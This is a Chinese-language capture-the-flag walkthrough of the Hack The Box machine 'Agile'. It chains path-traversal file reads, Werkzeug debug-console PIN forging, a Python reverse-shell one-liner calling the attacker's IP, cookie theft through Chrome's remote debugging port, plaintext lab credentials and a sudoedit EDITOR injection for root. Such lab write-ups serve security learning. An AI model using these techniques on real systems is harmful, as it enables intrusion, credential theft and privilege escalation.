HTB-Agile
- 信息收集
- 80端口
- 漫长的兔子洞之旅
- 立足
- www-data -> corum
- corum -> edwards
- edwards -> root
信息收集
80端口
漫长的兔子洞之旅
我注意到系统为我分配了一个session,是以eyj开头的。
拿去jwt.io看看。
额,可能后面会用先留在这,去看看登录。
当我乱输入的时候遇见了报错。
除了让我知道查询语句、表名等相关信息,似乎就没有其他信息了。注册用户aster:aster后并登录。发现cookie已经改变,并且我在页面随意输入了一个账号来查看生成出来的效果。
开始对site、username、Password进行sql注入测试以及export进行二次注入测试。
在payload为"or 1=1 – -的时候export的结果会变得很奇怪,初步判存在二次注入,并且是以双引号闭合。
开始深入测试,将site的值改为"test
,会发现"test
变为了" ""test "
,似乎存在防护措施并对双引号进行了配对。
不过尝试了几个绕过的办法无果后先暂时放在这,再去检查一遍整个网站,小心兔子洞。在退出登陆的时候又触发错误。
这次仔细看看这个报错。发现了很多flask模板有关的代码。重要的是在/app/venv/lib/python3.10/site-packages/flask_login/utils.py中某个代码片段表明在logout时session删除了一个user_id。
所以如果能对session进行解码就能知道其内容是啥了。
使用命令pip3 install flask-unsign下载。
运行flask-unsign查看解码后的session。
flask-unsign --decode --cookie '.eJwljsFqwzAQRH9F7DkUSSvvav0VvZcQ1tIqNrhNsZxTyL9X0NMwvGF4L7i1XftqHeavF7hzBHxb73o3uMDnbtrN7Y-7237c-XBayoDuXLfufsfmA67v62WcHNZXmM_jaaNtFWZgREP0ylbEKpmmmBDFB2mMlLilFiMGqSoyaONMOUSORSPpotWYCqsoikplzySpUsuNfJTiU8rRQuZlqpITYdaJsHGYfKS6SBEa-rdnt-PfRuD9B50hRQ4.ZGBi_g.VC6Gwl8m13SVGI75G2ujviYF_yg'
看着user_id总想改改它看看会发生什么。如果想伪造session,则需要secret key,secret key可能需要SSTI来获取,试试看吧。使用burp suite对每一步操作进行抓包后发现当编辑、删除存储的密码会看到HTTP请求是这样的。
我在11处替换为了${3*4}
、{{3*4}}
、3*4
,为什么是3*4
,因为我不确定存在SSTI,如果存在可能结果是12,而12就是我的某一个存储的凭证。额,似乎不存在。
我尝试了修改那个10,翻译从0到100,试试看能否枚举到有趣的东西。
额,这是个有趣的盒子,充满了兔子洞。肯定忽略了什么东西,当我开着burp suite时老是碰不到那个报错的界面。猜猜我发现了什么?这里面有一个超人。
现在唯一没有弄过的貌似就是export里面的东西了。
如果就在burp suite里面转到Repeater里点击发送,会发现错误No such file or directory。
这不是个LFI吗?
再看源码之前,抱着试试心理读取一下ssh的id_rsa看看。结果要么无权访问、要么不存在此文件。
根据前面的报错,我们不就能查看相关代码文件源码了,目前搜集的可以查看的文件。
注意不能直接以根目录/开头,要先..
到根目录再查看要看的源文件。又更新了一下可以查看的文件,不全。
选个好时辰,慢慢的看代码,我的目标:mysql连接凭证尝试ssh、找到flask session的secret_key、找到那个密码管理器有关的代码(代码量不多,很多都是注释,请静下来)。
根据/app/app/superpass/views/vault_views.py文件的源码来看,这是处理密码箱功能的代码。虽然不确定import superpass.services.password_service as password_service
的模块和库是什么。
login_required
函数是一个装饰器,用于保护一个路由,只有已登录用户才能访问该路由;current_user
函数返回当前已登录的用户对象。这些函数可以帮助实现用户身份验证和授权功能。
这句似乎是在验证身份: password = password_service.get_password_by_id(id, current_user.id)
这句似乎在验证身份的同时根据id获取什么东西: password = password_service.get_password_by_id(id, current_user.id)
结合上下文可能是验证身份后通过ID来获取存储的密码,也可能没有经过身份验证。/vault/row/ID可能就是通过ID来获取密码信息。
但是我只能查看当前用户的密码这一情况还是没变,所以我忙碌了半天收获很小。
好的我又回来了,我决定还是寻找secret key,全力搜索可以阅读的源码。
我终于在/app/app/superpass/app.py里找到了我期待已久的secret key,但是这secret key是随机的,而且还是urandom。
行吧,再对ID进行一次fuzz吧。使用crunch 生成一个字典。从1位到2位 字典取值范围0-9。
现在我开始怀疑是有其他选手误操作导致某些功能失常。但是很遗憾并没有。所以只有分析还有什么突破口。在报错界面一些python语句最右边会有一个控制台终端的按钮。
这是Flask的debug模式,开启debug就意味着为我们敞开了大门。点击会要求我们输入pin。
hacktricks上有相应的内容。要利用这个PIN码的所需要的条件。
利用LFI一个一个获取吧。
用户名:猜测是www-data
modname:flask.app
app哪一行是Flask
app.py的路径:/app/venv/lib/python3.10/site-packages/flask/app.py
uuid.getnode 是mac地址的十进制
uuid.getnode是345052376232
get_machine_id是ed5b159560f54721827644bc9b220d00
都齐全了,拼凑一下。额,看起来有地方有问题。
可能有问题的的就是下面这两行。
哦!我知道了,我没看完整。
get_machine_id修正为下面三个联合起来的值:
/etc/machine-id: ed5b159560f54721827644bc9b220d00
/proc/sys/kernel/random/boot_id: 73fa6443-2f8e-44d8-8f9c-f17f6f78d2fc
/proc/self/cgroup: superpass.service
(首行中,最有一个斜杠的值)
但是查看具体代码发现只需要/etc/machine-id和/proc/sys/kernel/random/boot_id二选一与/proc/self/cgroup相连即可。
什么!还不对。
重新看看uuid.getnode的值。
然后再转十进制345052411299
还是错的。额,要么是用户名。
要么是这个。因为这个name可能性较大,所以现在对这个进行调查。
可以的话,大家别像我一样,拿到一半就开跑,没看清楚很多东西。
查看源码发现WSGIApplication。
这还有一个DebuggedApplication
额,WSGIApplication和DebuggedApplication均失败。
根据收集的东西猜测了几个:WSGI、wsgi、wsgi_app、wsgi.app。
立足
终于在如下信息生成的PIN通过了。
使用命令连接shell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
在/app/app/config_prod.json里面发现了凭证。
好了,去看看数据库有什么好东西。
上面的表是sp的用户和密码哈希,底下的表是用户存储在sp上的密码凭证。
www-data -> corum
利用凭证corum:5db7caa1d13cc3通过ssh登录corum。
用pspy能看到有时间任务在运行。
从时间任务可知,根目录下的APP目录是root把自己家目录里的app复制过来的,然后让bash使用source命令读取/app/venv/bin/activate文件内容并执行。看完以后就有一个想法,挂一个脚本来资源竞争,看能否在root时间任务执行source之前复写activate,但是我们没权限。
有两个文件我比较感兴趣,但是需要dev_admin或runner用户。
看着这一大堆google chrome的命令,头大。
/bin/bash /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.eIzNFs --window-size=1420,1080 data:,
简单对参数进行解释一下:
- /bin/bash: 指定要使用的 shell 解释器为 Bash。
- /usr/bin/google-chrome: 指定要执行的 Google Chrome 可执行文件的路径。
- –allow-pre-commit-input: 允许预提交输入。
- –crash-dumps-dir=/tmp: 指定崩溃转储文件的目录为 /tmp。
- –disable-background-networking: 禁用后台网络操作。
- –disable-client-side-phishing-detection: 禁用客户端钓鱼检测。
- –disable-default-apps: 禁用默认应用程序。
- –disable-gpu: 禁用 GPU 加速。
- –disable-hang-monitor: 禁用卡死监控。
- –disable-popup-blocking: 禁用弹出窗口阻止功能。
- –disable-prompt-on-repost: 禁用重新提交时的提示。
- –disable-sync: 禁用同步功能。
- –enable-automation: 启用自动化。
- –enable-blink-features=ShadowDOMV0: 启用 Blink 引擎的 Shadow DOM V0 特性。
- –enable-logging: 启用日志记录。
- –headless: 启用无头模式,即无界面运行。
- –log-level=0: 设置日志级别为 0,即最低级别。
- –no-first-run: 不进行首次运行设置。
- –no-service-autorun: 不自动运行服务。
- –password-store=basic: 设置密码存储方式为基本模式。
- –remote-debugging-port=41829: 设置远程调试端口为 41829。
- –test-type=webdriver: 设置测试类型为 WebDriver。
- –use-mock-keychain: 使用模拟密钥链。
- -user-data-dir=/tmp/.com.google.Chrome.eIzNFs: 指定用户数据目录的路径为 /tmp/.com.google.Chrome.eIzNFs。
- –window-size=1420,1080: 设置窗口大小为 1420x1080。
- data:,: 指定要加载的数据,这里为空数据。
查看本地运行端口。
既然是以无界面的反思运行的google-chrome,那该怎么查看页面内容或者有哪些页面呢。使用chisel反向代理断端口。
不过这个网页啥也没有。
对其进行目录扫描。dirbuster发现了devtools目录。
dirsearch发现了/json目录。
看起来是一个sp的test版本。可能里面又存了某用户的密码那些。在Firefox的console里写一个websocket连接服务,看看服务器会给我发送些什么。
额,CSP报错。那咋办?
HackTricks上倒是提到过窃取tokens的。
这也可以,如果能窃取Cookie或token用来登录test sp,就能查看保存的密码。下载websocat,github地址。
额,不会用啊。这有一个chrome的帮助文档。从中我找到了获取全部cookie的方法,不过说已经弃用了使用Storage.getCookies代替,这都是后面的事情了,等会再说。
接着就是如何通过json向chrome通信。
他已经告诉我们了,我们就按照id、method、sessionId、params来传输json格式的数据。
id的话随便填。method的话,网官上有。不知道选哪一个,先试试enable吧,至少看起来是建立连接。
后面两个不知道,先试试能不能只传输id和method。
结果是可以的。还记得上面找到的getcookie吗?就是这个。
使用json格式的数据:{“id”:1,“method”:“Network.getAllCookies”}
cookie就被到导出来了。
太好了,由于这个是给test.superpass用的,所以要找找这个test.superpass在哪里。还有一堆端口没看,慢慢来。
很好选的第一个吉利的数字5555就是,利用chisel的过程和上面一样,就省略了。
将前面获取的cookie丢进去,就能获得新东西。
corum -> edwards
利用edwards:d07867c6267dcb5df0af通过ssh登录。
edwards -> root
看看时间任务,这个任务前面应该见过。
# This file must be used with "source bin/activate" *from bash*
# you cannot run it directly
deactivate () {
# reset old environment variables
if [ -n "${_OLD_VIRTUAL_PATH:-}" ] ; then
PATH="${_OLD_VIRTUAL_PATH:-}"
export PATH
unset _OLD_VIRTUAL_PATH
fi
if [ -n "${_OLD_VIRTUAL_PYTHONHOME:-}" ] ; then
PYTHONHOME="${_OLD_VIRTUAL_PYTHONHOME:-}"
export PYTHONHOME
unset _OLD_VIRTUAL_PYTHONHOME
fi
# This should detect bash and zsh, which have a hash command that must
# be called to get it to forget past commands. Without forgetting
# past commands the $PATH changes we made may not be respected
if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] ; then
hash -r 2> /dev/null
fi
if [ -n "${_OLD_VIRTUAL_PS1:-}" ] ; then
PS1="${_OLD_VIRTUAL_PS1:-}"
export PS1
unset _OLD_VIRTUAL_PS1
fi
unset VIRTUAL_ENV
unset VIRTUAL_ENV_PROMPT
if [ ! "${1:-}" = "nondestructive" ] ; then
# Self destruct!
unset -f deactivate
fi
}
# unset irrelevant variables
deactivate nondestructive
VIRTUAL_ENV="/app/venv"
export VIRTUAL_ENV
_OLD_VIRTUAL_PATH="$PATH"
PATH="$VIRTUAL_ENV/bin:$PATH"
export PATH
# unset PYTHONHOME if set
# this will fail if PYTHONHOME is set to the empty string (which is bad anyway)
# could use `if (set -u; : $PYTHONHOME) ;` in bash
if [ -n "${PYTHONHOME:-}" ] ; then
_OLD_VIRTUAL_PYTHONHOME="${PYTHONHOME:-}"
unset PYTHONHOME
fi
if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT:-}" ] ; then
_OLD_VIRTUAL_PS1="${PS1:-}"
PS1="(venv) ${PS1:-}"
export PS1
VIRTUAL_ENV_PROMPT="(venv) "
export VIRTUAL_ENV_PROMPT
fi
# This should detect bash and zsh, which have a hash command that must
# be called to get it to forget past commands. Without forgetting
# past commands the $PATH changes we made may not be respected
if [ -n "${BASH:-}" -o -n "${ZSH_VERSION:-}" ] ; then
hash -r 2> /dev/null
fi
用于激活和停止 Python 虚拟环境的脚本,似乎没有切入点呢。既然不能从文件中找到切入点就看看命令本身。
这篇帖子似乎不错。
我们刚好满足。使用负载sudo -u dev_admin EDITOR='vim -- /app/venv/bin/activate' sudoedit /app/config_test.json
发现成功使用vim打开 /app/venv/bin/activate文件。接下来自由发挥吧。
等三分钟。